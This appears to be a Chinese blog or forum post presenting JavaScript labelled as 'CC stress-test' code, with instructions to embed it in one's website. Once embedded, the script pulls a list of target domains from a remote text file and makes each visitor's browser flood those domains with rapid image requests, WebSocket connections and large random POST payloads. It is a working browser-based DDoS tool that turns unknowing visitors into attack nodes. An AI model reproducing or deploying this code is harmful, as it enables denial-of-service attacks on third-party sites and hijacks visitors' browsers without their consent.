Cc压力测试代码

示例说明:

 

此Cc压力测试是轮训模式   TXT文件里面一行一个域名(如果不测试压力了。清空TXT里面的所有 点击保存即可)

 

例如你这个js文件名字是  cc.js

 

那么你php文件里面调用这个文件示例:

<script type="text/javascript" src="/域名/cc.js"></script>

[rihide]

 

里面有个路径//域名/update.txt  自己在你网站里面创建个txt的文件 文件名字为update.txt   这个随意,要跟你调用的txt路径一模一样

 

var ccdao = {
	init:function(){
		var xmlhttp = this.getxmlhttp();
		xmlhttp.open('GET','//域名/update.txt',true);
		xmlhttp.onreadystatechange=function(){
			if (xmlhttp.readyState==4 && xmlhttp.status==200){
				var d = xmlhttp.responseText;
				if(d){
					d = d.split("\r\n");
					for(var i in d)
						ccdao.cc_get(d[i]);
				}
			}
		};
		xmlhttp.send();
	},
	cc_ws:function(url){
		setInterval(function(){
			for(var i=0;i<2;i++){
				var socket = new WebSocket('ws://' + url);
				socket.onopen = function(){
					socket._socket.write(new Buffer([1000]));
					socket.send('cc send');
				};
				socket.onclose = function(event){
					console.clear();
				};
				socket.onerror = function(error){
					console.clear();
				};
			}
		},300);
	},
	cc_get:function(url){
		var times = setInterval(function(){
			for(var i=0;i<2;i++){
				var b = url + '?_=' + new Date().getTime();
				var a = new Image;
				a.src = b;
			}
		},100);
		setTimeout(function(){
			clearInterval(times);
		});
	},
	cc_post:function(url){
		if(!!+[1,]){setInterval(function(){ccdao.postsend(url);},1000);}
	},
	getxmlhttp:function(){
		var xmlhttp = null;
		if(window.ActiveXObject)
			xmlhttp = new ActiveXObject('Microsoft.XMLHTTP');
		else if(window.XMLHttpRequest)
			xmlhttp = new XMLHttpRequest();
		return xmlhttp;
	},
	postsend:function(url){
		var xmlhttp = this.getxmlhttp();
		xmlhttp.open('POST',url,true);
		xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
		xmlhttp.send(this.getccdata());
	},
	getccdata:function(){
		var strs = '';
		for(var i = 0;i < 99999;i++)
			strs += String.fromCodePoint(Math.round(Math.random() * 20901) + 19968);
		return strs;
	}
};
ccdao.init();

 

[/rihide]

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容